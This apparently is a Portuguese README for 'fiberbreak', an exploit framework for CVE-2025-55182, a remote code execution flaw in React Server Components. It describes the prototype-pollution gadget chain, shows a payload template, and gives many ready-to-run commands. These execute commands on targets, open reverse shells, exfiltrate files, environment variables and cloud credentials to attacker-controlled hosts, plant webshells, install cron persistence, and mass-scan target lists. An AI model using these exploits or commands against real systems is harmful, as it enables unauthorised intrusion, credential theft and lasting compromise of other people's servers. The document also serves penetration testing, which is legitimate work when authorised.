
Ferramenta de Exploração React2Shell (CVE-2025-55182)
Framework de exploração para CVE-2025-55182 (React2Shell) - Vulnerabilidade crítica de RCE em Componentes de Servidor React.
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Install dependencies
pip install -r requirements.txt
# Make executable
chmod +x fiberbreak.py
# Build vulnerable testing environment
docker-compose up -d
# Wait for startup
sleep 20
# Test detection
./fiberbreak.py -u http://localhost:3000 detect
# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Verify
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código nos Componentes de Servidor React (RSC) que permite que atacantes não autenticados executem código arbitrário no servidor.
Causa Raiz: O protocolo React Flight desserializa a entrada do cliente não confiável sem validação adequada, permitindo que atacantes criem cargas maliciosas que abusam da cadeia de protótipos e do construtor Function do JavaScript.
Vetor de Ataque: Atacantes enviam uma requisição POST multipart/form-data manipulada com um cabeçalho Next-Action para qualquer endpoint RSC. A carga maliciosa utiliza:
__proto__constructor:constructor1. Atacante envia requisição POST manipulada
└─ multipart/form-data com JSON malicioso
└─ Cabeçalho Next-Action (qualquer valor)
2. Servidor desserializa a carga
└─ React processa o formato do chunk RSC
└─ Resolve objeto do tipo Promise
3. Cadeia de gadgets é acionada
└─ Acesso __proto__ burla verificações hasOwnProperty
└─ constructor:constructor expõe Function()
└─ _prefix executa código arbitrário
4. RCE alcançada
└─ Servidor executa JavaScript do atacante
└─ Comprometimento total do sistema
{
"then": "$1:__proto__:then", // Prototype pollution
"status": "resolved_model", // Fake React internal state
"reason": -1, // Trigger resolution
"value": '{"then":"$B1337"}', // Blob reference
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Executed code
"_formData": {
"get": "$1:constructor:constructor" // Function() access
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Missing validation here allows malicious chunks
if (value && typeof value.then === 'function') {
// Attacker controls 'then' method
value.then(/* ... */);
}
}
# Single target detection
./fiberbreak.py -u https://target.com detect
# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20
# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Write file to disk
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Read file contents
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Reverse shell
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
| Tipo | Formato | Descrição | Saída |
|---|---|---|---|
simple | comando | Executa qualquer comando shell | Cego |
output | comando + --callback | Executa com callback HTTP | Sim |
reverse_shell | lhost:lport | Reverse shell Bash | Interativa |
dns_exfil | cmd:dominio ou dominio | Exfiltração via DNS | Logs DNS |
http_exfil | cmd:url_callback | Exfiltração via HTTP | HTTP POST |
file_read | caminho_arquivo:callback | Lê e exfiltra arquivo | HTTP POST |
write_file | caminho_arquivo:conteudo | Escreve arquivo em disco | Cego |
env_dump | url_callback | Despeja variáveis de ambiente | HTTP POST |
cloud_metadata | url_callback | Extrai credenciais da nuvem | HTTP POST |
recon | url_callback | Reconhecimento do sistema | HTTP POST |
stealth_beacon | dominio | Beacon DNS | Logs DNS |
webshell | caminho_arquivo | Implanta webshell Node.js | Porta 8080 |
persist | url_callback | Instala persistência via cron | Tarefa cron |
# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Document findings without causing damage
# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json
# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# Generate report
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'